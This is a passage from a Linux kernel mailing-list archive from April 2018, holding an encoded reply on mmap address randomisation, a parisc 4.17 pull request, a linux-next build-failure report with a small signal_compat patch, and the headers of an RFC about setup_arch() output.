 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 X86 ML <x86@kernel.org>, Hugh Dickins <hu
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Tue Apr 03 02:11:00 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f39XP-0006Ce-KL
	for gla-linux-snps-arc@m.gmane.org; Tue, 03 Apr 2018 02:10:59 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:References:Message-Id:Date:
	In-Reply-To:From:Subject:Mime-Version:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=yiTlZzHOraXb2l7uSY/Q+cQlU0zxL23qAGDjEMIAtF8=; b=pfraRL9V5ng7DW
	YkIOh04lNn7h54pEO73/0OWVPCMATnVrty0dsuTJ24kwZ/SkRKa83gzdVQ41Ns8UEIOlRyWpl8Yk9
	pYgujV97QGUfWdXtAxXC9cca88q5iwox5yiSdESy3ucwI4Au0pRLnL+fvMn6KJkzfBOJL+knHmkyT
	N14VQRV5VsL1i7evHBc0wd7H668nuiDJ4JtsLaIZ2LFGEnBnBDvo5t4gJaZqvgTngYSGoWWW4L28H
	9FtMwi7I8lxlahDirBLCOD06GhZCNWqxiB7y72zkRVSYuAIeOagHRNMUsaTJlAP3j4R4ChJGMNRwv
	P3sr5KiV399m/kqevaeg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f39ZS-0004k0-Eq; Tue, 03 Apr 2018 00:13:06 +0000
Original-Received: from mail-wm0-x235.google.com ([2a00:1450:400c:c09::235])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f39ZO-0004iJ-RQ
 for linux-snps-arc@lists.infradead.org; Tue, 03 Apr 2018 00:13:04 +0000
Original-Received: by mail-wm0-x235.google.com with SMTP id p9so29113229wmc.3
 for <linux-snps-arc@lists.infradead.org>; Mon, 02 Apr 2018 17:12:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:subject:from:in-reply-to:date:cc
 :content-transfer-encoding:message-id:references:to;
 bh=J1d8GZtrK4hY+JTjitzp/6IX1SAUit8cEPdA71kilVA=;
 b=EuGazHaJzfISFZPcaALS46j4L2SWOQSJr2G0H6JQggNgAP3jOI/Z1miZU0cLVtfS+D
 XQHKKNOuaR0G4aP4sVgBxJCb5pGMX9v5HTG2Xo/kSfMUrBs+Z+LqpNIVRFRgKtpEwcyJ
 Tw8Fwdp0WRulT0LU7BkFCv/X2cVbfO0Kz7bbrnptgTn/8O6unYV6Tt1Epoj8qtwwGSpq
 dO3Q5AxB4ASt322rkDh94EeraoMfNW10dAwylgtAQnTo9bSGgQOlZGxR4ifxFyhfrWyZ
 Og5c8OJc0VsU+yZA5lE987aGBBu0mgSoCKczbI5z9eo8v2VK2G+mckRss/zkON29ss6+
 9UPA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
 :content-transfer-encoding:message-id:references:to;
 bh=J1d8GZtrK4hY+JTjitzp/6IX1SAUit8cEPdA71kilVA=;
 b=uQ80zoQKBrnVNTLMh3dWTabibFpwQ5LgRYEMxZTprOQWnXGWajFIF2r9rvFhdswZdd
 MhK1TXDU8EcWCelFqRO4fPuthDpZdKBho9a0YJoRoZ4NAW2cjujoK0h1qTDuvX+IO8AK
 S1FY82VLFEErn66W2TNNFpjHwpiGOX4SLnYFlhqpfHVzCwSezbRNcV1jpaxOwCyvViTS
 /EhEibmc/lXoJrZuYbkW97xLsFFP3Q6HLSIu2YUESsf44wVYSEn88+up92AsQJrPKzF4
 3Nx19oioC8EGD04qrVTu842gXJo8KcR7XQhKsMgysWcSYCRFnIxixP0M7iIFqM/FCoZp
 x+8Q==
X-Gm-Message-State: AElRT7Gi+seiTSZRzlISXQTWG/zwds2MfI2YVpUaohV8mu3rynStlLu7
 oiieT2aW7CGBf3RXvhtREkI=
X-Google-Smtp-Source: AIpwx49ClP02AGgxiYwZoPDHz8HxKYxZ15sE72H7Zj1waosYFFtzDGDuzQQRgJhpA6TX5qvHmOQxOA==
X-Received: by 10.46.16.1 with SMTP id j1mr7300865lje.102.1522714370429;
 Mon, 02 Apr 2018 17:12:50 -0700 (PDT)
Original-Received: from [192.168.1.3] (broadband-188-255-70-164.moscow.rt.ru.
 [188.255.70.164])
 by smtp.gmail.com with ESMTPSA id 93-v6sm272506lfy.5.2018.04.02.17.12.48
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Mon, 02 Apr 2018 17:12:49 -0700 (PDT)
In-Reply-To: <3908561D78D1C84285E8C5FCA982C28F7B3B8BC5@ORSMSX110.amr.corp.intel.com>
X-Mailer: Apple Mail (2.3445.5.20)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180402_171302_915657_D54FE8CF 
X-CRM114-Status: GOOD (  14.45  )
X-Spam-Score: -0.8 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.8 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (blackzert[at]gmail.com)
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [2a00:1450:400c:c09:0:0:0:235 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3726 gmane.linux.ports.mips.general:64328 gmane.linux.ports.sh.devel:56797 gmane.linux.kernel.mm:192775 gmane.linux.ports.sparc:27527 gmane.linux.ports.ia64:28794 gmane.linux.ports.alpha:4927 gmane.linux.ports.parisc:28469 gmane.linux.kernel:2730990 gmane.linux.kernel.metag:1760 gmane.linux.ports.ppc64.devel:155602
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3726>

PiBPbiAyOSBNYXIgMjAxOCwgYXQgMDA6MDcsIEx1Y2ssIFRvbnkgPHRvbnkubHVja0BpbnRlbC5j
b20+IHdyb3RlOgo+IAo+PiBUaGUgZGVmYXVsdCBsaW1pdCBvZiBvbmx5IDY1NTM2IFZNQXMgd2ls
bCBhbHNvIHF1aWNrbHkgY29tZSBpbnRvIHBsYXkKPj4gaWYgY29uc2VjdXRpdmUgYW5vbiBtbWFw
cyBkb24ndCBnZXQgbWVyZ2VkLiBPZiBjb3Vyc2UgdGhpcyBjYW4gYmUKPj4gcmFpc2VkLCBidXQg
aXQgaGFzIHNpZ25pZmljYW50IHJlc291cmNlIGFuZCBwZXJmb3JtYW5jZSAoZm9yaykgY29zdHMu
Cj4gCj4gQ291bGQgdGhlIHJhbmRvbSBtbWFwIGFkZHJlc3MgY2hvb3NlciBsb29rIGZvciBob3cg
bWFueSBleGlzdGluZwo+IFZNQXMgaGF2ZSBzcGFjZSBiZWZvcmUvYWZ0ZXIgYW5kIHRoZSByaWdo
dCBhdHRyaWJ1dGVzIHRvIG1lcmdlIHdpdGggdGhlCj4gbmV3IG9uZSB5b3Ugd2FudCB0byBjcmVh
dGU/IElmIHRoaXMgaXMgYWJvdmUgc29tZSB0aHJlc2hvbGQgKDEwMD8pIHRoZW4KPiBwaWNrIG9u
ZSBvZiB0aGVtIHJhbmRvbWx5IGFuZCBhbGxvY2F0ZSB0aGUgbmV3IGFkZHJlc3Mgc28gdGhhdCBp
dCB3aWxsCj4gbWVyZ2UgZnJvbSBiZWxvdy9hYm92ZSB3aXRoIGFuIGV4aXN0aW5nIG9uZS4KPiAK
PiBUaGF0IHNob3VsZCBzdGlsbCBnaXZlIHlvdSBhIHZlcnkgaGlnaCBkZWdyZWUgb2YgcmFuZG9t
bmVzcywgYnV0IHByZXZlbnQKPiBvdXQgb2YgY29udHJvbCBudW1iZXJzIG9mIFZNQXMgZnJvbSBi
ZWluZyBjcmVhdGVkLgoKSSB0aGluayB0aGlzIHdvdWxkbuKAmXQgd29yay4gRm9yIGV4YW1wbGUg
dGhlc2UgMTAwIGFsbG9jYXRpb24gbWF5IGhhcHBlbmVkIG9uIApwcm9jZXNzIGluaXRpYWxpemF0
aW9uLiBCdXQgd2hlbiBhdHRhY2tlciBjb21lIHRvIHRoZSBzZXJ2ZXIgYWxsIGhpcyAKYWxsb2Nh
dGlvbnMgd291bGQgYmUgbWFkZSBvbiB0aGUgcHJlZGljdGFibGUgb2Zmc2V0cyBmcm9tIGVhY2gg
b3RoZXIuIFNvIGluIApyZXN1bHQgd2UgZGlkIG5vdGhpbmcganVzdCBkZWNyZWFzZSBwZXJmb3Jt
YW5jZSBvZiBmaXJzdCAxMDAgYWxsb2NhdGlvbnMuIEkgCnRoaW5rIEkgY2FuIG1ha2UgaW9jdGwg
dG8gdHVybiBvZmYgdGhpcyByYW5kb21pemF0aW9uIHBlciBwcm9jZXNzIGFuZCBpdCBjb3VsZCAK
YmUgdXNlZCBpZiBuZWVkZWQuIEZvciBleGFtcGxlIGlmIGFwcGxpY2F0aW9uIGdvaW5nIHRvIGFs
bG9jYXRlIGJpZyBjaHVuayBvciAKbWFrZSBiaWcgbWVtb3J5IHByZXNzdXJlLCBldGMuCgpCZXN0
IHJlZ2FyZHMsCklseWEKCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fCmxpbnV4LXNucHMtYXJjIG1haWxpbmcgbGlzdApsaW51eC1zbnBzLWFyY0BsaXN0cy5p
bmZyYWRlYWQub3JnCmh0dHA6Ly9saXN0cy5pbmZyYWRlYWQub3JnL21haWxtYW4vbGlzdGluZm8v
bGludXgtc25wcy1hcmM=


From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture updates for 4.17
Date: Tue, 3 Apr 2018 21:22:56 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <20180403192256.GA4750@ls3530>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1522783272 32527 195.159.176.226 (3 Apr 2018 19:21:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Apr 2018 19:21:12 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 03 21:21:08 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f3RUM-0008Fb-LV
	for glk-linux-kernel-4@m.gmane.org; Tue, 03 Apr 2018 21:21:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752826AbeDCTXK (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 3 Apr 2018 15:23:10 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:55931 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752132AbeDCTXI (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 3 Apr 2018 15:23:08 -0400
Original-Received: from ls3530 ([80.187.111.144]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M0smx-1eEvEZ0Cdj-00v7va; Tue, 03
 Apr 2018 21:23:00 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:nij4qkNydkRMI/gyHA6NOhyFshTpJN8QW7QN+qkvC2JSDRFfUMJ
 TBRw3pp+y9E1Be7Bk/v+Y7jxjLgO72kiUlDQwNWzmTC04BKhv+iMeRT1qv23qgwt4f8/eh2
 i8bM5KdJw3VUjWBhLJMVGKLKQdHQWQ28Z+fJfdHhp6lIpgGq6K8+27a4gaDXLUoO/jZyWK4
 vlvPRiMi6gQIDex7GvqnQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ydqu2f4WXvw=:5SvFHbs0FnHoyAJRMS1f/B
 fEULugcjjdqWGzufx4vecfq6wpzSmxO9xDvdzUk8coZSfz6bL1R1IRtgZDPJielDdJaXMjHEy
 Pm6dz6MgvIu08PQkjPa7QMD9aiCDbdsNOwj3qFv0sqNY7nb1M7VeK4YGl6j4I32OO3k3oN2Bj
 kzhysHpC7ES5LXNeCS98OZUi2YkF9pCuCYLqXOKpCEY8iLDkJfqddJISUoDrhg5pPQEo1Zlo6
 Hot0DPpDUN/av36pj/V+jAkH2R8/QhM0y5yIQ0olzv6TaMlAH+qi9c+haFL4Qu0QWTyvfWuvi
 Ez1mkoclHOmzSV/+r/H7ldRbblqjsCS7iXLOxWyqN5SpPYQVLjmhsyHvrnAt3pf6r9dvBB1Mw
 nw6OSaXLvB8wPARRRWl0QNPmKowu25RebNZDqNsQPV43Kk10jEtO/A4bHb/F/mOALTOgk1Sru
 UXVzpjeRT2ec+5np70aQ0L2zAWGBUVw+xaloNBzJ4HYGO8oMltr26bMWfAMuZ2Foz7C0nXihu
 FnBHrW/FbA0ed1aU+7FXImiQvl6kRD9aM82lwSdg6z9yaVyE/MGgUN52Y25z42/3QIDlz5xSs
 WmlMK5ersZZwV4u184cR1zCIxAiqu0WSU143gnRhgDMO6uJHLy3EO6EL5px2kfve9u6L5qI/g
 UV45d0hd5J2Lwn72bHiIkPQa7c6/pzFip2VdFDZkqMit+PKtYeWwgRTsMmLNIMpP98/h1rfPy
 BHWRVjeEGdVLFA05lb5zs/aVVQYxvhwED2Prr6KrBOI3WcJPaG/oEJlSzXhTYDi/8lDZUeej 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2731677 gmane.linux.ports.parisc:28470
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2731677>

Hi Linus,

please pull the updates regarding the parisc architecture for kernel 4.17 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.17-1

Lots of small enhancements and fixes in this patchset:
- improved the x86-64 compatibility for PCI cards by returning -1UL for timed
  out MMIO transactions (instead of crashing)
- fixed HPMC handler for PAT machines: size needs to be mulitple of 16 
- prepare machine_power_off() to be able to turn rp3410 and c8000 machines off
  via IMPI
- added code to extract machine info for usage with qemu
- some init sections fixes 
- lots of fixes for sparse-, ubsan- and uninitalized variables warnings. 

Thanks,
Helge

----------------------------------------------------------------
Dan Carpenter (1):
      parisc: Silence uninitialized variable warning in dbl_to_sgl_fcnvff()

Helge Deller (14):
      parisc/stifb: Use fb_memset() to avoid sparse warning
      parisc/parport_gsc: Use NULL to avoid sparse warning
      parisc/led: Fix sparse warnings
      parisc/gscps2: Fix sparse warnings
      parisc: Force to various endian types for sparse
      parisc: Convert MAP_TYPE to cover 4 bits on parisc
      parisc: Move various functions and strings to init section
      parisc/Kconfig: SMP kernels boot on all machines
      parisc: machine_power_off() should call pm_power_off()
      parisc: Directly call machine_power_off() in power button driver
      parisc: Fix HPMC handler by increasing size to multiple of 16 bytes
      parisc/pci: Switch LBA PCI bus from Hard Fail to Soft Fail mode
      parisc: Add code generator for Qemu/SeaBIOS machine info
      parisc: Fix out of array access in match_pci_device()

 arch/parisc/Kconfig                 |   6 +-
 arch/parisc/include/asm/io.h        |  12 +--
 arch/parisc/include/uapi/asm/mman.h |   2 +-
 arch/parisc/kernel/drivers.c        | 197 ++++++++++++++++++++++++++++++++++--
 arch/parisc/kernel/hardware.c       |  12 +--
 arch/parisc/kernel/hpmc.S           |   6 +-
 arch/parisc/kernel/process.c        |   6 +-
 arch/parisc/math-emu/fcnvff.c       |   2 +-
 drivers/input/serio/gscps2.c        |  11 +-
 drivers/parisc/lba_pci.c            |  20 +++-
 drivers/parisc/led.c                |   4 +-
 drivers/parisc/power.c              |   3 +-
 drivers/parport/parport_gsc.c       |   2 +-
 drivers/video/fbdev/stifb.c         |   2 +-
 14 files changed, 241 insertions(+), 44 deletions(-)


From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: linux-next: build failure after merge of the parisc-hd tree
Date: Fri, 6 Apr 2018 10:15:42 +1000
Lines: 106
Approved: news@gmane.org
Message-ID: <20180406101542.0bfa38a1@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
 boundary="Sig_/jMvWOgf64Sy1ND_kyJLEGTL"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1522973685 12371 195.159.176.226 (6 Apr 2018 00:14:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Apr 2018 00:14:45 +0000 (UTC)
Cc: Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 06 02:14:37 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f4F1Z-00032C-9M
	for glk-linux-kernel-4@m.gmane.org; Fri, 06 Apr 2018 02:14:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751442AbeDFAQm (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Apr 2018 20:16:42 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:58505 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751262AbeDFAQk (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Apr 2018 20:16:40 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 40HKxf1c0lz9s0y;
        Fri,  6 Apr 2018 10:16:37 +1000 (AEST)
Authentication-Results: ozlabs.org; dmarc=none (p=none dis=none) header.from=canb.auug.org.au
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=canb.auug.org.au;
        s=201702; t=1522973798;
        bh=Igsb+H3S4Z06I9Vogo3d5uupElKHDK4czM4FkEPlWxY=;
        h=Date:From:To:Cc:Subject:From;
        b=Zn/YmdiKrlrpAAT5Wzud1TWxsQCHjZ4duFOS/8FCF6TVCNdvY3/Tp6JJ5IQQ3t9iC
         EHqcgf5/qML4zGFqf9AbZQ3/s6N4ksx4trXzabKpHVAnW7GRPXZqW303mZ/RkvpIBN
         3NWTlwpTPUS61qZY1KUTgAUdUGD2SaUoxGdrWAIfhvrDpFveLG1d/WX5wIB3bfic/L
         akAl57eS3KjBhIQ8DiqntgZtWUXZVy+NYl6c/8SbpEWlRyIS9tdLnI5M8yS/lMh7qW
         6F0s9ukQRbH2l1cDeoU0IGZFS0pr0uTrAFhJWtyfHtXY2ugn9sBZIK0IZS7WY1ttCD
         CWvhoniAlO5sg==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2733641 gmane.linux.ports.parisc:28471 gmane.linux.kernel.next:45528
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2733641>

--Sig_/jMvWOgf64Sy1ND_kyJLEGTL
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

Hi all,

After merging the parisc-hd tree, today's linux-next build (x86_64
allmodconfig) failed like this:

In file included from include/linux/kernel.h:10:0,
                 from include/linux/list.h:9,
                 from include/linux/preempt.h:11,
                 from include/linux/spinlock.h:51,
                 from include/linux/seqlock.h:36,
                 from include/linux/time.h:6,
                 from include/linux/stat.h:19,
                 from include/linux/compat.h:13,
                 from arch/x86/kernel/signal_compat.c:2:
In function 'signal_compat_build_tests',
    inlined from 'sigaction_compat_abi' at arch/x86/kernel/signal_compat.c:=
166:2:
include/linux/compiler.h:339:38: error: call to '__compiletime_assert_29' d=
eclared with attribute error: BUILD_BUG_ON failed: NSIGFPE !=3D 14
  _compiletime_assert(condition, msg, __compiletime_assert_, __LINE__)
                                      ^
include/linux/compiler.h:319:4: note: in definition of macro '__compiletime=
_assert'
    prefix ## suffix();    \
    ^~~~~~
include/linux/compiler.h:339:2: note: in expansion of macro '_compiletime_a=
ssert'
  _compiletime_assert(condition, msg, __compiletime_assert_, __LINE__)
  ^~~~~~~~~~~~~~~~~~~
include/linux/build_bug.h:45:37: note: in expansion of macro 'compiletime_a=
ssert'
 #define BUILD_BUG_ON_MSG(cond, msg) compiletime_assert(!(cond), msg)
                                     ^~~~~~~~~~~~~~~~~~
include/linux/build_bug.h:69:2: note: in expansion of macro 'BUILD_BUG_ON_M=
SG'
  BUILD_BUG_ON_MSG(condition, "BUILD_BUG_ON failed: " #condition)
  ^~~~~~~~~~~~~~~~
arch/x86/kernel/signal_compat.c:29:2: note: in expansion of macro 'BUILD_BU=
G_ON'
  BUILD_BUG_ON(NSIGFPE  !=3D 14);
  ^~~~~~~~~~~~

Caused by commit

  186536608fd1 ("parisc/signal: Add FPE_CONDTRAP for conditional trap handl=
ing")

I applied the following patch for today:

From: Stephen Rothwell <sfr@canb.auug.org.au>
Date: Fri, 6 Apr 2018 10:10:26 +1000
Subject: [PATCH] parisc/signal: Add FPE_CONDTRAP for conditional trap handl=
ing
 fix

Update the X86 NSIGFPE check as well.  There are no new fields associated
with this change, so this should be fine.

Signed-off-by: Stephen Rothwell <sfr@canb.auug.org.au>
---
 arch/x86/kernel/signal_compat.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/kernel/signal_compat.c b/arch/x86/kernel/signal_compa=
t.c
index df92605d8724..14c057f29979 100644
--- a/arch/x86/kernel/signal_compat.c
+++ b/arch/x86/kernel/signal_compat.c
@@ -26,7 +26,7 @@ static inline void signal_compat_build_tests(void)
 	 * new fields are handled in copy_siginfo_to_user32()!
 	 */
 	BUILD_BUG_ON(NSIGILL  !=3D 11);
-	BUILD_BUG_ON(NSIGFPE  !=3D 14);
+	BUILD_BUG_ON(NSIGFPE  !=3D 15);
 	BUILD_BUG_ON(NSIGSEGV !=3D 7);
 	BUILD_BUG_ON(NSIGBUS  !=3D 5);
 	BUILD_BUG_ON(NSIGTRAP !=3D 4);
--=20
2.16.1

--=20
Cheers,
Stephen Rothwell

--Sig_/jMvWOgf64Sy1ND_kyJLEGTL
Content-Type: application/pgp-signature
Content-Description: OpenPGP digital signature

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEENIC96giZ81tWdLgKAVBC80lX0GwFAlrGvC8ACgkQAVBC80lX
0GyHggf/Ue/TkyWf/aXonIxndTJovt4jqgWtuzA03MlzKWT0snXKkFQUveFOLALi
1yNSd+QJWwq0FtcjrdYppGvQ9vOafXVdjFgGIWYjQ8vICGAfZRlJsYhJV64/bbG8
hjd3svTEKiae/Qq7cOmdvfpmXwwA8zqpUKwiMccgVu3oLcI76BIfyIQbYyPsxQoJ
b3EYy3YYfkb+wwiFVEKJz4jqr3mYq/TM7VRETLzzMnhSo5/lhnFke+cM45hignmS
pJKzPYsItBRuBmR7LD8TIQOR7pHiHrogMV6FNLfpJduvaqknqWL8E2lzpQDQ/jZx
Krc2rtFMyM5u3WcoRIoCAw2xvsZjZw==
=+UWV
-----END PGP SIGNATURE-----

--Sig_/jMvWOgf64Sy1ND_kyJLEGTL--


From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: yuan linyu <cugyly@163.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: [RFC linux] init: make all setup_arch() output string to boot_command_line[]
Date: Fri,  6 Apr 2018 19:11:59 +0800
Lines: 808
Approved: news@gmane.org
Message-ID: <20180406111159.5385-1-cugyly@163.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523014114 26265 195.159.176.226 (6 Apr 2018 11:28:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Apr 2018 11:28:34 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, Greentime Hu <green.hu@gmail.com>,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-riscv@lists.infradead.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net,
        user-mode-linux-user@lists.sourceforge.net,
        Guan Xuetao <gxt@pku.edu.cn>, linux-xtensa@linux-xtensa.org,
        yuan linyu <Linyu.Yuan@alcatel-sbell.com.cn
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 06 13:28:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f4PXc-0001nN-TK
	for glk-linux-kernel-4@m.gmane.org; Fri, 06 Apr 2018 13:28:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752234AbeDFLac (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 6 Apr 2018 07:30:32 -0400
Original-Received: from m50-135.163.com ([123.125.50.135]:46250 "EHLO m50-135.163.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
